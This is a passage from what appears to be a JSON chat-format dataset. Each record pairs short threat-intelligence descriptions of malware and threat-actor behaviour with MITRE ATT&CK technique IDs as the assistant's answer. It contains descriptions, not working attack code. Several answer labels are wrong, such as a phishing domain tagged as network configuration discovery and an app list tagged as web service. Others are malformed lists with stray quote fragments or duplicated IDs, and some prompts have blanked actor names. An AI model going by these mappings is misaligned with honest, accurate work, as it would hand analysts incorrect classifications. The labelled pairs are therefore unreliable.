                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware used by  attempts to terminate processes corresponding to two components of Sophos Anti-Virus (SAVAdminService.exe and SavService.exe)."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "mericcs.org 221.121.138.141 Domain used for spear phish sender e-mail address and to host malicious documents"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Silent Librarian has exfiltrated entire mailboxes from compromised accounts."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FLASHFLOOD searches for interesting files (either a default or customized set of file extensions) on removable media and copies them to a staging area. The default file types copied would include data copied to the drive by SPACESHIP."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In our analysis we could observe how the adversary ensures persistence by delivering an LNK file into the startup folder"
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If the C2 server provides the appropriate echoed data in the response, the Trojan attempts to determine what  commands the C2 wishes to run by issuing a request to the following URL:http://<c2 domain>/what?<hex(Environment.UserName/Environment.MachineName)> After issuing the what command, the Trojan will parse the C2’s response for the string Oops, which the Trojan will treat as the C2 making a mistake and will exit"
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1041 - Exfiltration Over C2 Channel', 'T1571 - Non-Standard Port', 'T1132 - Data Encoding', 'T1008 - Fallback Channels', 'T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Figure 26. Communication with the C&C server after the exchange of OS packet info Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):   Figure 27. The getCommand method The figure below shows the example of two of several possible command codes"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WhisperGate can Base64 encode strings, store downloaded files in reverse byte order,  and use the Eazfuscator tool to obfuscate its third stage."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLATINUM has used the Intel® Active Management Technology (AMT) Serial-over-LAN (SOL) channel for command and control."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PittyTiger attempts to obtain legitimate credentials during operations."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses systeminfo on a victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has a command to delete its Registry key and scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Update the RAT and Keylogger remotely - Set an autostart JavaScript to run on RAT startup - A Domain Generation Algorithm (DGA) for C2 resiliency - If the user has admin permissions, it deletes shadow copies using vssadmin.exe"
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After the ransomware is executed, Clop appends the .clop extension to the victim's files. We have observed different variants using different extensions, such as “.CIIp”, “.Cllp” and “.C_L_O_P”. Different versions of the ransom note have also been observed after encryption. Depending on the variant, any of these ransom text files could drop: “ClopReadMe.txt”, “README_README.txt”, “Cl0pReadMe.txt“ and “READ_ME_!!!.TXT"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "steals user files from network shared drives with file extensions and keywords that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "manipulated .lnk files to gather user credentials in conjunction with ."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HELLOKITTY can delete volume shadow copies on compromised hosts."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UBoatRAT checks for virtualization software such as VMWare, VirtualBox, or QEmu on the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some of the targeted apps were:    Whatsapp  YouTube Video Downloader  Google Update   Instagram  Hack Wifi   AirDroid   WifiHacker     Facebook   Photoshop   SkyTV     Hotstar  Trump Dash   PokemonGo  With many more to come"
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After reestablishing access, the adversaries download tools such as gsecudmp and WCE that are staged temporarily on websites that TG-3390 previously compromised but never used"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. At the time of writing, tmate sessions are the only way the attacker interacts with the compromised containers"
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software', 'T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "gathers information about network adapters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DropBook has checked for the presence of Arabic language in the infected machine's settings."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "C2 traffic for most  tools occurs over Port Numbers 53, 80, and 443."
            },
            {
                "role": "assistant",
                "content": "T1043 - Commonly Used Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The most notable change to this variant of Zebrocy, other than the programming language used, is the way the tool gathers the system information and running processes. Instead of using systeminfo and tasklist commands, the C# variant of Zebrocy uses WMI queries to gather this information"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON can use WMI for persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Frankenstein, the threat actors exploited CVE-2017-11882 to execute code on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "persistence: Somewhat interestingly, OSX/Dok persists in two phases. First as a Login Item, then as Launch Agents. When Dok is (naively) launched by the user, it will executed logic to persist as a Login Item. As their name implies, Login Items will execute an application when the user logs in. Apple describes how to create a Login Item both manually and programmatically"
            },
            {
                "role": "assistant",
                "content": "T1059.002 - Command and Scripting Interpreter: AppleScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldMax has RSA-encrypted its communication with the C2 server."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can use WinRM to execute a payload on a remote host."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Ryuk group went from an email to domain wide ransomware in 29 hours and asked for over $6 million to unlock our systems. They used tools such as Cobalt Strike, AdFind, WMI, vsftpd, PowerShell, PowerView, and Rubeus to accomplish their objective."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool', 'T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Deep Panda has used \"-w hidden\" to conceal PowerShell windows by setting the WindowStyle parameter to hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "1) Send initial proxy module request. The initial request contains the bot ID, external IP address of the infected machine, reverse DNS lookup of the external IP address, internet speed (measured earlier) and seconds since the proxy module started. 2) Establish a connection (proxy commands sequence 1-&gt;10-&gt;11) with the PROXY-C2. 3) Initialize sessions, perform socks5 authorization with login/password (received from PROXY-C2 with command 10). 4) Begin SOCKS5-like communication wrapped into the QakBot proxy module protocol"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LazyScripter has used several different security software icons to disguise executables."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can collect data from removable media and stage it for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Maze has decrypted strings and other important information during the encryption process. Maze also calls certain functions dynamically to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy uses HTTP for command and control."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "These mechanisms are used to attempt installation and execution of perfc.dat on other devices to spread laterally. For systems that have not had MS17-010 applied, the EternalBlue and EternalRomance exploits are leveraged to compromise systems. The exploit launched against the victim system depends on the operating system of the intended target"
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can create directories to store logs and other collected data."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Before being appended to image files, HAMMERTOSS commands are encrypted with a key composed of both a hard-coded value and a string contained on that day's tweet. To decrypt the commands, an investigator would need access to the intended malware sample, the day's tweet, and the image file containing the command."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The NtdsAudit utility is an auditing tool for Active Directory databases. It allows the user to collect useful statistics related to accounts and passwords. The utility was found on various systems of a victim and matches the NtdsAudit.exe program file version v2.0.5 published on the GitHub project page"
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can send information about the compromised host and upload data to a hardcoded C2 server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT37's Freenki malware lists running processes using the Microsoft Windows API."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The `Download3rdStage` will first decode `https://discord.com` and try to connect to it. Then, it performs a time-based anti-debug check, as shown in the code below. If any of these checks fail, the DLL will not download the third stage"
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Avaddon has enumerated shared folders and mapped volumes."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay can use UACMe for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bisonal has used the Windows API to communicate with the Service Control Manager to execute a thread."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Mustang Panda has used junk code within their DLL files to hinder analysis."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious Excel spreadsheet was discovered on Wednesday, Aug. 18, 2021, and it has a last modified date of Tuesday, Aug. 17. The filename had an .xlsb file extension. This file has macros designed to infect a vulnerable Windows host with BazarLoader. Figure 2 shows a screenshot of the Excel file."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros.', 'T1587.001 - Malware', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pony has used the \"NetUserEnum\" function to enumerate local accounts."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 is typically executed via command line arguments via a hidden window. Windows SysInternals PsExec has been utilized for both persistence and execution purposes. Its ability to execute processes on other systems spread the ransomware and assisted in reconnaissance activities."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command   Description    0x31  Fingerprint System via WMI and Registry    0x32  Drop File and execute    0x33  Remote Shell    0x34  Terminate connection with C2    0x35  Download and run batch script    0x36  Download file on machine    0x37  Upload File    Table 2: FELIXROOT backdoor commands Figure 9 shows the log message decrypted from memory using the same mechanism shown in Figure 6 and Figure 7 for every command executed"
            },
            {
                "role": "assistant",
                "content": "T1064 - Scripting', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "StrongPity can compress and encrypt archived files into multiple .sft files with a repeated xor encryption scheme."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TinyTurla has the ability to encrypt C2 traffic with SSL/TLS."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may use  to add local firewall rule exceptions."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Stuxnet reduces the integrity level of objects to allow write actions."
            },
            {
                "role": "assistant",
                "content": "T1562 - Impair Defenses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dok gives all users execute permissions for the application using the command \"chmod +x /Users/Shared/AppStore.app\"."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The GoldMax Linux variant has used a crontab entry with a \"@reboot\" line to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Both variants of the BitPaymer malware feature multiple techniques to hinder analysis. The malware developers have employed a combination of encrypted strings, string hashes and dynamic API resolution to ensure that no strings exist in the binary"
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "encrypts the message body of HTTP traffic with RC2 (in CBC mode) and Base64 encoding."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Other interesting keys include LSMinimumSystemVersion which indicates the (malicious) application is compatible with OSX 10.7 (Lion), and NSUIElement key which tells the OS to execute the application without a dock icon nor menu (i.e"
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk has used the \"FindNextFile\" command as part of its file deletion process."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks)   TG-3390 actors have also used the following publicly available tools:  Windows Credential Editor (WCE) — obtains passwords from memory gsecdump — obtains passwords from memory winrar — compresses data for exfiltration nbtscan — scans NetBIOS name servers  Tactics, techniques, and procedures Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SILENTTRINITY can use `System` namespace methods to execute lateral movement using DCOM."
            },
            {
                "role": "assistant",
                "content": "T1021.003 - Remote Services: Distributed Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exported procedure HandlerW , responsible for parsing the arguments, shows that it is also possible to try to impersonate an anonymous token or try to steal another’s process token just for the execution of a command"
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Machete used scheduled tasks for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FALLCHILL is the primary component of a C2 infrastructure that uses multiple proxies to obfuscate network traffic between HIDDEN COBRA actors and a victim’s system. According to trusted third-party reporting, communication flows from the victim’s system to HIDDEN COBRA actors using a series of proxies as shown in figure 1"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Command  Description  Action  0  Server response string contains batch commands  Execute batch commands and send results back to server  1  Server response string is a file path  Check for file path and upload (PUT) the file to server  2  Server response string is a file path  Check for file path and download (GET) the file   Table 1: POWRUNER commands After successfully executing the command, POWRUNER sends the results back to the C2 server and stops execution"
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal on Host: Timestomp', 'T1041 - Exfiltration Over C2 Channel', 'T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
